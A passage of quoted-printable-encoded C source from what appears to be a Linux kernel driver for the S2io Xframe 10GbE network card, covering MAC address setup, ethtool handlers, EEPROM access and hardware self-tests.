address registered with the OS. It will be=0A= * at offset 0. =0A= */=0A= addr =3D (u8 *) (&sa->sa_data);=0A= for (i =3D 0; i < ETH_ALEN; i++) {=0A= mac_addr <<=3D 8;=0A= mac_addr |=3D addr[i];=0A= }=0A= =0A= write64(&bar0->rmac_addr_data0_mem,=0A= RMAC_ADDR_DATA0_MEM_ADDR(mac_addr));=0A= val64 =3D=0A= RMAC_ADDR_CMD_MEM_WE | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= RMAC_ADDR_CMD_MEM_OFFSET(0);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= /* Wait till command completes */=0A= if (waitForCmdComplete(sp)) {=0A= DBG_PRINT(ERR_DBG, "%s: set_mac_addr failed\n", dev->name);=0A= return FAILURE;=0A= }=0A= =0A= memcpy(dev->dev_addr, &sa->sa_data, ETH_ALEN);=0A= =0A= if (netif_queue_stopped(dev))=0A= netif_wake_queue(dev);=0A= =0A= return SUCCESS;=0A= }=0A= =0A= #ifdef CONFIGURE_ETHTOOL_SUPPORT=0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * info - pointer to the structure with parameters given by ethtool to = set=0A= * link information.=0A= * Return value:=0A= * 0 on success.=0A= * Description:=0A= * The function sets different link parameters provided by the user = onto =0A= * the NIC.=0A= */=0A= #define SPEED_10000 10000=0A= static int s2io_ethtool_sset(nic_t * sp, struct ethtool_cmd *info)=0A= {=0A= if ((info->autoneg =3D=3D AUTONEG_ENABLE) ||=0A= (info->speed !=3D SPEED_10000) || (info->duplex !=3D DUPLEX_FULL))=0A= return -EINVAL;=0A= else {=0A= s2io_close(sp->dev);=0A= s2io_open(sp->dev);=0A= }=0A= =0A= return 0;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * info - pointer to the structure with parameters given by ethtool to = return=0A= * link information.=0A= * Return value:=0A= * void=0A= * Description:=0A= * Returns link specefic information like speed, duplex etc.. to = ethtool.=0A= */=0A= static void s2io_ethtool_gset(nic_t * sp, struct ethtool_cmd *info)=0A= {=0A= info->supported =3D (SUPPORTED_10000baseT_Full | SUPPORTED_FIBRE);=0A= info->advertising =3D (SUPPORTED_10000baseT_Full | SUPPORTED_FIBRE);=0A= info->port =3D PORT_FIBRE;=0A= /* info->transceiver?? TODO */=0A= =0A= if (netif_carrier_ok(sp->dev)) {=0A= info->speed =3D 10000;=0A= info->duplex =3D DUPLEX_FULL;=0A= } else {=0A= info->speed =3D -1;=0A= info->duplex =3D -1;=0A= }=0A= =0A= info->autoneg =3D AUTONEG_DISABLE;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * info - pointer to the structure with parameters given by ethtool to = return=0A= * driver information.=0A= * Return value:=0A= * void=0A= * Description:=0A= * Returns driver specefic information like name, version etc.. to = ethtool.=0A= */=0A= static void s2io_ethtool_gdrvinfo(nic_t * sp, struct ethtool_drvinfo = *info)=0A= {=0A= strncpy(info->driver, sp->name, 32);=0A= strncpy(info->version, "", 32);=0A= strncpy(info->fw_version, "", 32);=0A= strncpy(info->bus_info, sp->pdev->slot_name, 32);=0A= #if defined(ETHTOOL_GREGS)=0A= info->regdump_len =3D XENA_REG_SPACE;=0A= #endif=0A= info->eedump_len =3D XENA_EEPROM_SPACE;=0A= info->testinfo_len =3D S2IO_TEST_LEN;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * regs - pointer to the structure with parameters given by ethtool for =0A= * dumping the registers.=0A= * reg_space - The input argumnet into which all the registers are = dumped.=0A= * Return value:=0A= * void=0A= * Description:=0A= * Dumps the entire register space of xFrame NIC into the user given = buffer =0A= * area.=0A= */=0A= static void s2io_ethtool_gregs(nic_t * sp, struct ethtool_regs *regs,=0A= u8 * reg_space)=0A= {=0A= int i;=0A= u64 reg;=0A= =0A= regs->len =3D XENA_REG_SPACE;=0A= regs->version =3D sp->pdev->subsystem_device;=0A= =0A= for (i =3D 0; i < regs->len; i +=3D 8) {=0A= reg =3D read64((void *) (sp->bar0 + i));=0A= memcpy((reg_space + i), ®, 8);=0A= }=0A= }=0A= =0A= #ifdef ETHTOOL_PHYS_ID=0A= /*=0A= * Input Argument/s: =0A= * data - address of the private member of the device structure, which =0A= * is a pointer to the s2io_nic structure, provided as an u32.=0A= * Return value:=0A= * void=0A= * Description:=0A= * This is actually the timer function that alternates the adapter LED = bit=0A= * of the adapter control bit to set/reset every time on invocation.=0A= * The timeris set for 1/2 a second, hence tha NIC blinks once every = second.=0A= */=0A= static void s2io_phy_id(unsigned long data)=0A= {=0A= nic_t *sp =3D (nic_t *) data;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64 =3D 0;=0A= int ret;=0A= u16 subid;=0A= =0A= ret =3D=0A= pci_read_config_word(sp->pdev, PCI_SUBSYSTEM_ID,=0A= (u16 *) & subid);=0A= =0A= if ((subid & 0xFF) >=3D 0x07) {=0A= val64 =3D read64(&bar0->gpio_control);=0A= val64 ^=3D GPIO_CTRL_GPIO_0;=0A= write64(&bar0->gpio_control, val64);=0A= } else {=0A= val64 =3D read64(&bar0->adapter_control);=0A= val64 ^=3D ADAPTER_LED_ON;=0A= write64(&bar0->adapter_control, val64);=0A= }=0A= =0A= mod_timer(&sp->id_timer, jiffies + HZ / 2); /* blink once in 1 sec */=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * id - pointer to the structure with identification parameters given = by =0A= * ethtool.=0A= * Return value:=0A= * void=0A= * Description:=0A= * Used to physically identify the NIC on the system. The Link LED will = blink=0A= * for a time specified by the user for identification.=0A= * NOTE: The Link has to be Up to be able to blink the LED. Hence =0A= * identification is possible only if it's link is up.=0A= */=0A= static void s2io_ethtool_idnic(nic_t * sp, struct ethtool_value *id)=0A= {=0A= u64 val64 =3D 0;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= int ret;=0A= u16 subid;=0A= =0A= ret =3D=0A= pci_read_config_word(sp->pdev, PCI_SUBSYSTEM_ID,=0A= (u16 *) & subid);=0A= if ((subid & 0xFF) < 0x07) {=0A= val64 =3D read64(&bar0->adapter_control);=0A= if (!(val64 & ADAPTER_CNTL_EN)) {=0A= printk(KERN_ERR=0A= "Adapter Link down, cannot blink LED\n");=0A= return;=0A= }=0A= }=0A= if (sp->id_timer.function =3D=3D NULL) {=0A= init_timer(&sp->id_timer);=0A= sp->id_timer.function =3D s2io_phy_id;=0A= sp->id_timer.data =3D (unsigned long) sp;=0A= }=0A= mod_timer(&sp->id_timer, jiffies);=0A= set_current_state(TASK_INTERRUPTIBLE);=0A= if (id->data)=0A= schedule_timeout(id->data * HZ);=0A= else=0A= schedule_timeout(MAX_SCHEDULE_TIMEOUT);=0A= del_timer_sync(&sp->id_timer);=0A= =0A= }=0A= #endif=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * ep - pointer to the structure with pause parameters given by ethtool.=0A= * Return value:=0A= * void=0A= * Description:=0A= * Returns the Pause frame generation and reception capability of the = NIC.=0A= */=0A= static void s2io_ethtool_getpause_data(nic_t * sp,=0A= struct ethtool_pauseparam *ep)=0A= {=0A= u64 val64;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= =0A= val64 =3D read64(&bar0->rmac_pause_cfg);=0A= if (val64 & RMAC_PAUSE_GEN_ENABLE)=0A= ep->tx_pause =3D TRUE;=0A= if (val64 & RMAC_PAUSE_RX_ENABLE)=0A= ep->rx_pause =3D TRUE;=0A= ep->autoneg =3D FALSE;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * ep - pointer to the structure with pause parameters given by ethtool.=0A= * Return value:=0A= * void=0A= * Description:=0A= * It can be used to set or reset Pause frame generation or reception = support =0A= * of the NIC.=0A= */=0A= static void s2io_ethtool_setpause_data(nic_t * sp,=0A= struct ethtool_pauseparam *ep)=0A= {=0A= u64 val64;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= =0A= val64 =3D read64(&bar0->rmac_pause_cfg);=0A= if (ep->tx_pause)=0A= val64 |=3D RMAC_PAUSE_GEN_ENABLE;=0A= else=0A= val64 &=3D ~RMAC_PAUSE_GEN_ENABLE;=0A= if (ep->rx_pause)=0A= val64 |=3D RMAC_PAUSE_RX_ENABLE;=0A= else=0A= val64 &=3D ~RMAC_PAUSE_RX_ENABLE;=0A= write64(&bar0->rmac_pause_cfg, val64);=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * off - offset at which the data must be written=0A= * Return value:=0A= * -1 on failure and the value read from the Eeprom if successful.=0A= * Description:=0A= * Will read 4 bytes of data from the user given offset and return the =0A= * read data.=0A= * NOTE: Will allow to read only part of the EEPROM visible through the=0A= * I2C bus.=0A= */=0A= #define S2IO_DEV_ID 5=0A= static u32 readEeprom(nic_t * sp, int off)=0A= {=0A= u32 data =3D -1, exit_cnt =3D 0;=0A= u64 val64;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= =0A= val64 =3D I2C_CONTROL_DEV_ID(S2IO_DEV_ID) | I2C_CONTROL_ADDR(off) |=0A= I2C_CONTROL_BYTE_CNT(0x3) | I2C_CONTROL_READ |=0A= I2C_CONTROL_CNTL_START;=0A= write64(&bar0->i2c_control, val64);=0A= =0A= while (exit_cnt < 5) {=0A= val64 =3D read64(&bar0->i2c_control);=0A= if (I2C_CONTROL_CNTL_END(val64)) {=0A= data =3D I2C_CONTROL_GET_DATA(val64);=0A= break;=0A= }=0A= mdelay(50);=0A= exit_cnt++;=0A= }=0A= =0A= return data;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * off - offset at which the data must be written=0A= * data - The data that is to be written=0A= * cnt - Number of bytes of the data that are actually to be written = into =0A= * the Eeprom. (max of 3)=0A= * Return value:=0A= * '0' on success, -1 on failure.=0A= * Description:=0A= * Actually writes the relevant part of the data value into the Eeprom=0A= * through the I2C bus.=0A= */=0A= static int writeEeprom(nic_t * sp, int off, u32 data, int cnt)=0A= {=0A= int exit_cnt =3D 0, ret =3D -1;=0A= u64 val64;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= =0A= val64 =3D I2C_CONTROL_DEV_ID(S2IO_DEV_ID) | I2C_CONTROL_ADDR(off) |=0A= I2C_CONTROL_BYTE_CNT(cnt) | I2C_CONTROL_SET_DATA(data) |=0A= I2C_CONTROL_CNTL_START;=0A= write64(&bar0->i2c_control, val64);=0A= =0A= while (exit_cnt < 5) {=0A= val64 =3D read64(&bar0->i2c_control);=0A= if (I2C_CONTROL_CNTL_END(val64)) {=0A= if (!(val64 & I2C_CONTROL_NACK))=0A= ret =3D 0;=0A= break;=0A= }=0A= mdelay(50);=0A= exit_cnt++;=0A= }=0A= =0A= return ret;=0A= }=0A= =0A= /* =0A= * A helper function used to invert the 4 byte u32 data field=0A= * byte by byte. This will be used by the Read Eeprom function=0A= * for display purposes.=0A= */=0A= u32 inv(u32 data)=0A= {=0A= static u32 ret =3D 0;=0A= =0A= if (data) {=0A= u8 c =3D data;=0A= ret =3D ((ret << 8) + c);=0A= data >>=3D 8;=0A= inv(data);=0A= }=0A= =0A= return ret;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * eeprom - pointer to the user level structure provided by ethtool, =0A= * containing all relevant information.=0A= * data_buf - user defined value to be written into Eeprom.=0A= * Return value:=0A= * void=0A= * Description:=0A= * Reads the values stored in the Eeprom at given offset for a given = length.=0A= * Stores these values int the input argument data buffer 'data_buf' and=0A= * returns these to the caller (ethtool.)=0A= */=0A= static void s2io_ethtool_geeprom(nic_t * sp, struct ethtool_eeprom = *eeprom,=0A= char *data_buf)=0A= {=0A= u32 data, i, valid;=0A= =0A= eeprom->magic =3D sp->pdev->vendor | (sp->pdev->device << 16);=0A= =0A= if ((eeprom->offset + eeprom->len) > (XENA_EEPROM_SPACE))=0A= eeprom->len =3D XENA_EEPROM_SPACE - eeprom->offset;=0A= =0A= for (i =3D 0; i < eeprom->len; i +=3D 4) {=0A= data =3D readEeprom(sp, eeprom->offset + i);=0A= if (data < 0) {=0A= DBG_PRINT(ERR_DBG, "Read of EEPROM failed\n");=0A= return;=0A= }=0A= valid =3D inv(data);=0A= memcpy((data_buf + i), &valid, 4);=0A= }=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * eeprom - pointer to the user level structure provided by ethtool, =0A= * containing all relevant information.=0A= * data_buf - user defined value to be written into Eeprom.=0A= * Return value:=0A= * '0' on success, -EFAULT on failure.=0A= * Description:=0A= * Tries to write the user provided value in the Eeprom, at the offset=0A= * given by the user.=0A= */=0A= static int s2io_ethtool_seeprom(nic_t * sp, struct ethtool_eeprom = *eeprom,=0A= char *data_buf)=0A= {=0A= int len =3D eeprom->len, cnt =3D 0;=0A= u32 valid =3D 0, data;=0A= =0A= if (eeprom->magic !=3D (sp->pdev->vendor | (sp->pdev->device << 16))) {=0A= DBG_PRINT(ERR_DBG,=0A= "ETHTOOL_WRITE_EEPROM Err: Magic value ");=0A= DBG_PRINT(ERR_DBG, "is wrong, Its not 0x%x\n",=0A= eeprom->magic);=0A= return -EFAULT;=0A= }=0A= =0A= while (len) {=0A= data =3D (u32) data_buf[cnt] & 0x000000FF;=0A= if (data) {=0A= valid =3D (u32) (data << 24);=0A= } else=0A= valid =3D data;=0A= =0A= if (writeEeprom(sp, (eeprom->offset + cnt), valid, 0)) {=0A= DBG_PRINT(ERR_DBG,=0A= "ETHTOOL_WRITE_EEPROM Err: Cannot ");=0A= DBG_PRINT(ERR_DBG,=0A= "write into the specified offset\n");=0A= return -EFAULT;=0A= }=0A= cnt++;=0A= len--;=0A= }=0A= =0A= return 0;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * data - variable that returns the result of each of the test = conducted by =0A= * the driver.=0A= * Return value:=0A= * '0' on success.=0A= * Description:=0A= * Read and write into all clock domains. The NIC has 3 clock domains,=0A= * see that registers in all the three regions are accessible.=0A= */=0A= static int s2io_registerTest(nic_t * sp, uint64_t * data)=0A= {=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64 =3D 0;=0A= int fail =3D 0;=0A= =0A= val64 =3D read64(&bar0->pcc_enable);=0A= if (val64 !=3D 0xff00000000000000ULL) {=0A= fail =3D 1;=0A= DBG_PRINT(INFO_DBG, "Read Test level 1 fails\n");=0A= }=0A= =0A= val64 =3D read64(&bar0->rmac_pause_cfg);=0A= if (val64 !=3D 0xc000ffff00000000ULL) {=0A= fail =3D 1;=0A= DBG_PRINT(INFO_DBG, "Read Test level 2 fails\n");=0A= }=0A= =0A= val64 =3D read64(&bar0->rx_queue_cfg);=0A= if (val64 !=3D 0x0808080808080808ULL) {=0A= fail =3D 1;=0A= DBG_PRINT(INFO_DBG, "Read Test level 3 fails\n");=0A= }=0A= =0A= val64 =3D read64(&bar0->xgxs_efifo_cfg);=0A= if (val64 !=3D 0x000000001923141EULL) {=0A= fail =3D 1;=0A= DBG_PRINT(INFO_DBG, "Read Test level 4 fails\n");=0A= }=0A= =0A= val64 =3D 0x5A5A5A5A5A5A5A5AULL;=0A= write64(&bar0->xmsi_data, val64);=0A= val64 =3D read64(&bar0->xmsi_data);=0A= if (val64 !=3D 0x5A5A5A5A5A5A5A5AULL) {=0A= fail =3D 1;=0A= DBG_PRINT(ERR_DBG, "Write Test level 1 fails\n");=0A= }=0A= =0A= val64 =3D 0xA5A5A5A5A5A5A5A5ULL;=0A= write64(&bar0->xmsi_data, val64);=0A= val64 =3D read64(&bar0->xmsi_data);=0A= if (val64 !=3D 0xA5A5A5A5A5A5A5A5ULL) {=0A= fail =3D 1;=0A= DBG_PRINT(ERR_DBG, "Write Test level 2 fails\n");=0A= }=0A= =0A= *data =3D fail;=0A= return 0;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * data - variable that returns the result of each of the test = conducted by =0A= * the driver.=0A= * Return value:=0A= * '0' on success.=0A= * Description:=0A= * Verify that EEPROM in the xena can be programmed using I2C_CONTROL =0A= * register.=0A= */=0A= static int s2io_eepromTest(nic_t * sp, uint64_t * data)=0A= {=0A= int fail =3D 0, ret_data;=0A= =0A= /* Test Write Error at offset 0 */=0A= if (!writeEeprom(sp, 0, 0, 3))=0A= fail =3D 1;=0A= =0A= /* Test Write at offset 4f0 */=0A= if (writeEeprom(sp, 0x4F0, 0x01234567, 3))=0A= fail =3D 1;=0A= if ((ret_data =3D readEeprom(sp, 0x4f0)) < 0)=0A= fail =3D 1;=0A= =0A= if (ret_data !=3D 0x01234567)=0A= fail =3D 1;=0A= =0A= /* Reset the EEPROM data go FFFF */=0A= writeEeprom(sp, 0x4F0, 0xFFFFFFFF, 3);=0A= =0A= /* Test Write Request Error at offset 0x7c */=0A= if (!writeEeprom(sp, 0x07C, 0, 3))=0A= fail =3D 1;=0A= =0A= /* Test Write Request at offset 0x7fc */=0A= if (writeEeprom(sp, 0x7FC, 0x01234567, 3))=0A= fail =3D 1;=0A= if ((ret_data =3D readEeprom(sp, 0x7FC)) < 0)=0A= fail =3D 1;=0A= =0A= if (ret_data !=3D 0x01234567)=0A= fail =3D 1;=0A= =0A= /* Reset the EEPROM data go FFFF */=0A= writeEeprom(sp, 0x7FC, 0xFFFFFFFF, 3);=0A= =0A= /* Test Write Error at offset 0x80 */=0A= if (!writeEeprom(sp, 0x080, 0, 3))=0A= fail =3D 1;=0A= =0A= /* Test Write Error at offset 0xfc */=0A= if (!writeEeprom(sp, 0x0FC, 0, 3))=0A= fail =3D 1;=0A= =0A= /* Test Write Error at offset 0x100 */=0A= if (!writeEeprom(sp, 0x100, 0, 3))=0A= fail =3D 1;=0A= =0A= /* Test Write Error at offset 4ec */=0A= if (!writeEeprom(sp, 0x4EC, 0, 3))=0A= fail =3D 1;=0A= =0A= *data =3D fail;=0A= return 0;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * data - variable that returns the result of each of the test = conducted by =0A= * the driver.=0A= * Return value:=0A= * '0' on success and -1 on failure.=0A= * Description:=0A= * This invokes the MemBist test of the card. We give around=0A= * 2 secs time for the Test to complete. If it's still not complete=0A= * within this peiod, we consider that the test failed. =0A= */=0A= static int s2io_bistTest(nic_t * sp, uint64_t * data)=0A= {=0A= u8 bist =3D 0;=0A= int cnt =3D 0, ret =3D -1;=0A= =0A= pci_read_config_byte(sp->pdev, PCI_BIST, &bist);=0A= bist |=3D PCI_BIST_START;=0A= pci_write_config_word(sp->pdev, PCI_BIST, bist);=0A= =0A= while (cnt < 20) {=0A= pci_read_config_byte(sp->pdev, PCI_BIST, &bist);=0A= if (!(bist & PCI_BIST_START)) {=0A= *data =3D (bist & PCI_BIST_CODE_MASK);=0A= ret =3D 0;=0A= break;=0A= }=0A= mdelay(100);=0A= cnt++;=0A= }=0A= =0A= return ret;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * data - variable that returns the result of each of the test = conducted by =0A= * the driver.=0A= * Return value:=0A= * '0' on success.=0A= * Description:=0A= * The function verifies the link state of the NIC and updates the = input =0A= * argument 'data' appropriately.=0A= */=0A= static int s2io_linkTest(nic_t * sp, uint64_t * data)=0A= {=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64;=0A= =0A= val64 =3D read64(&bar0->adapter_status);=0A= if (val64 & ADAPTER_STATUS_RMAC_LOCAL_FAULT)=0A= *data =3D 1;=0A= =0A= return 0;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * data - variable that returns the result of each of the test = conducted by =0A= * the driver.=0A= * Return value:=0A= * '0' on success.=0A= * Description:=0A= * This is one of the offline test that tests the read and write =0A= * access to the RldRam chip on the NIC.=0A= */=0A= static int s2io_rldramTest(nic_t * sp, uint64_t * data)=0A= {=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64;=0A= int cnt, iteration =3D 0, test_pass =3D 0;=0A= =0A= val64 =3D read64(&bar0->adapter_control);=0A= val64 &=3D ~ADAPTER_ECC_EN;=0A= write64(&bar0->adapter_control, val64);=0A= =0A= val64 =3D read64(&bar0->mc_rldram_test_ctrl);=0A= val64 |=3D MC_RLDRAM_TEST_MODE;=0A= write64(&bar0->mc_rldram_test_ctrl, val64);=0A= =0A= val64 =3D read64(&bar0->mc_rldram_mrs);=0A= val64 |=3D MC_RLDRAM_QUEUE_SIZE_ENABLE;=0A= write64(&bar0->mc_rldram_mrs, val64);=0A= =0A= val64 |=3D MC_RLDRAM_MRS_ENABLE;=0A= write64(&bar0->mc_rldram_mrs, val64);=0A= =0A= while (iteration < 2) {=0A= val64 =3D 0x55555555aaaa0000;=0A= if (iteration =3D=3D 1) {=0A= val64 ^=3D 0xFFFFFFFFFFFF0000;=0A= }=0A= write64(&bar0->mc_rldram_test_d0, val64);=0A= =0A= val64 =3D 0xaaaa5a5555550000;=0A= if (iteration =3D=3D 1) {=0A= val64 ^=3D 0xFFFFFFFFFFFF0000;=0A= }=0A= write64(&bar0->mc_rldram_test_d1, val64);=0A= =0A= val64 =3D 0x55aaaaaaaa5a0000;=0A= if (iteration =3D=3D 1) {=0A= val64 ^=3D 0xFFFFFFFFFFFF0000;=0A= }=0A= write64(&bar0->mc_rldram_test_d2, val64);=0A= =0A= val64 =3D (u64) (0x0000003fffff0000);=0A= write64(&bar0->mc_rldram_test_add, val64);=0A= =0A= =0A= val64 =3D MC_RLDRAM_TEST_MODE;=0A= write64(&bar0->mc_rldram_test_ctrl, val64);=0A= =0A= val64 |=3D=0A= MC_RLDRAM_TEST_MODE | MC_RLDRAM_TEST_WRITE |=0A= MC_RLDRAM_TEST_GO;=0A= write64(&bar0->mc_rldram_test_ctrl, val64);=0A= =0A= for (cnt =3D 0; cnt < 5; cnt++) {=0A= val64 =3D read64(&bar0->mc_rldram_test_ctrl);=0A= if (val64 & MC_RLDRAM_TEST_DONE)=0A= break;=0A= mdelay(200);=0A= }=0A= =0A= if (cnt =3D=3D 5)=0A= break;=0A= =0A= val64 =3D MC_RLDRAM_TEST_MODE;=0A= write64(&bar0->mc_rldram_test_ctrl, val64);=0A= =0A= val64 |=3D MC_RLDRAM_TEST_MODE | MC_RLDRAM_TEST_GO;=0A= write64(&bar0->mc_rldram_test_ctrl, val64);=0A= =0A= mdelay(500);=0A= for (cnt =3D 0; cnt < 5; cnt++) {=0A= val64 =3D read64(&bar0->mc_rldram_test_ctrl);=0A= if (val64 & MC_RLDRAM_TEST_DONE)=0A= break;=0A= mdelay(200);=0A= }=0A= =0A= if (cnt =3D=3D 5)=0A= break;=0A= =0A= val64 =3D read64(&bar0->mc_rldram_test_ctrl);=0A= if (val64 & MC_RLDRAM_TEST_PASS)=0A= test_pass =3D 1;=0A= =0A= iteration++;=0A= }=0A= =0A= if (!test_pass)=0A= *data =3D 1;=0A= else=0A= *data =3D 0;=0A= =0A= return 0;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * ethtest - pointer to a ethtool command specific structure that will = be=0A= * returned to the user.=0A= * data - variable that returns the result of each of the test = conducted by =0A= * the driver.=0A= * Return value:=0A= * SUCCESS on success and an appropriate -1 on failure.=0A= * Description:=0A= * This function conducts 6 tests ( 4 offline and 2 online) to determine=0A= * the health of the card.=0A= */=0A= static int s2io_ethtool_test(nic_t * sp, struct ethtool_test *ethtest,=0A= uint64_t * data)=0A= {=0A= int orig_state =3D netif_running(sp->dev);=0A= =0A= if (ethtest->flags =3D=3D ETH_TEST_FL_OFFLINE) {=0A= /* Offline Tests. */=0A= if (orig_state) {=0A= s2io_close(sp->dev);=0A= s2io_set_swapper(sp);=0A= } else=0A= s2io_set_swapper(sp);=0A= =0A= if (s2io_registerTest(sp, &data[0]))=0A= ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= =0A= s2io_reset(sp);=0A= s2io_set_swapper(sp);=0A= =0A= if (s2io_rldramTest(sp, &data[3]))=0A= ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= =0A= s2io_reset(sp);=0A= s2io_set_swapper(sp);=0A= =0A= if (s2io_eepromTest(sp, &data[1]))=0A= ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= =0A= if (s2io_bistTest(sp, &data[4]))=0A= ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= =0A= if (orig_state)=0A= s2io_open(sp->dev);=0A= =0A= data[2] =3D 0;=0A= } else {=0A= /* Online Tests. */=0A= if (!orig_state)=0A= return -1;=0A= =0A= if (s2io_linkTest(sp, &data[2]))=0A= ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= =0A= data[0] =3D 0;=0A= data[1] =3D 0;=0A= data[3] =3D 0;=0A= data[4] =3D 0;=0A= }=0A= =0A= return 0;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * dev - device pointer.=0A= * ifr - An IOCTL specefic structure, that can contain a pointer to=0A= * a proprietary structure used to pass information to the driver.=0A= * Return value:=0A= * SUCCESS on success and an appropriate (-)ve integer as defined in = errno.h=0A= * file on failure.=0A= * Description:=0A= * Function used to support all ethtool fatures except dumping Device = stats=0A= * as it can be obtained from the util tool for now.=0A= */=0A= static int s2io_ethtool(struct net_device *dev, struct ifreq *rq)=0A= {=0A= nic_t *sp =3D (nic_t *) dev->priv;=0A= void *data =3D rq->ifr_data;=0A= u32 ecmd;=0A= =0A= if (get_user(ecmd, (u32 *) data)) {=0A= return -EFAULT;=0A= }=0A= =0A= switch (ecmd) {=0A= case ETHTOOL_GSET:=0A= {=0A= struct ethtool_cmd info =3D { ETHTOOL_GSET };=0A= s2io_ethtool_gset(sp, &info);=0A= if (copy_to_user(data, &info, sizeof(info)))=0A= return -EFAULT;=0A= break;=0A= }=0A= case ETHTOOL_SSET:=0A= {=0A= struct ethtool_cmd info;=0A= =0A= if (copy_from_user(&info, data, sizeof(info)))=0A= return -EFAULT;=0A= if (s2io_ethtool_sset(sp, &info))=0A= return -EFAULT;=0A= break;=0A= }=0A= case ETHTOOL_GDRVINFO:=0A= {=0A= struct ethtool_drvinfo info =3D { ETHTOOL_GDRVINFO };=0A= =0A= s2io_ethtool_gdrvinfo(sp, &info);=0A= if (copy_to_user(data, &info, sizeof(info)))=0A= return -EFAULT;=0A= break;=0A= }=0A= #if defined(ETHTOOL_GREGS) && defined(ETHTOOL_GEEPROM)=0A= case ETHTOOL_GREGS:=0A= {=0A= struct ethtool_regs regs =3D { ETHTOOL_GREGS };=0A= u8 *reg_space;=0A= int ret =3D 0;=0A= =0A= regs.version =3D sp->pdev->subsystem_device;=0A= =0A= reg_space =3D kmalloc(XENA_REG_SPACE, GFP_KERNEL);=0A= if (reg_space =3D=3D NULL) {=0A= DBG_PRINT(ERR_DBG,=0A= "Memory allocation to dump ");=0A= DBG_PRINT(ERR_DBG, "registers failed\n");=0A= ret =3D -EFAULT;=0A= }=0A= memset(reg_space, 0, XENA_REG_SPACE);=0A= s2io_ethtool_gregs(sp, ®s, reg_space);=0A= if (copy_to_user(data, ®s, sizeof(regs))) {=0A= ret =3D -EFAULT;=0A= goto last_gregs;=0A= }=0A= data +=3D offsetof(struct ethtool_regs, data);=0A= if (copy_to_user(data, reg_space, regs.len)) {=0A= ret =3D -EFAULT;=0A= goto last_gregs;=0A= }=0A= last_gregs:=0A= kfree(reg_space);=0A= if (ret)=0A= return ret;=0A= break;=0A= }=0A= #endif /* ETHTOOL_GREGS. */=0A= case ETHTOOL_NWAY_RST:=0A= {=0A= DBG_PRINT(INFO_DBG,=0A= "Card reset through EthTool\n");=0A= if (netif_running(dev)) {=0A= s2io_close(dev);=0A= s2io_open(dev);=0A= } else {=0A= s2io_reset(sp);=0A= s2io_set_swapper(sp);=0A= }=0A= break;=0A= }=0A= case ETHTOOL_GLINK:=0A= {=0A= struct ethtool_value link =3D { ETHTOOL_GLINK };=0A= =0A= link.data =3D netif_carrier_ok(dev);=0A= if (copy_to_user(data, &link, sizeof(link)))=0A= return -EFAULT;=0A= break;=0A= }=0A= #ifdef ETHTOOL_PHYS_ID=0A= case ETHTOOL_PHYS_ID:=0A= {=0A= struct ethtool_value id;=0A= =0A= if (copy_from_user(&id, data, sizeof(id)))=0A= return -EFAULT;=0A= s2io_ethtool_idnic(sp, &id);=0A= break;=0A= }=0A= #endif /* ETHTOOL_PHYS_ID */=0A= case ETHTOOL_GPAUSEPARAM:=0A= {=0A= struct ethtool_pauseparam ep =3D=0A= { 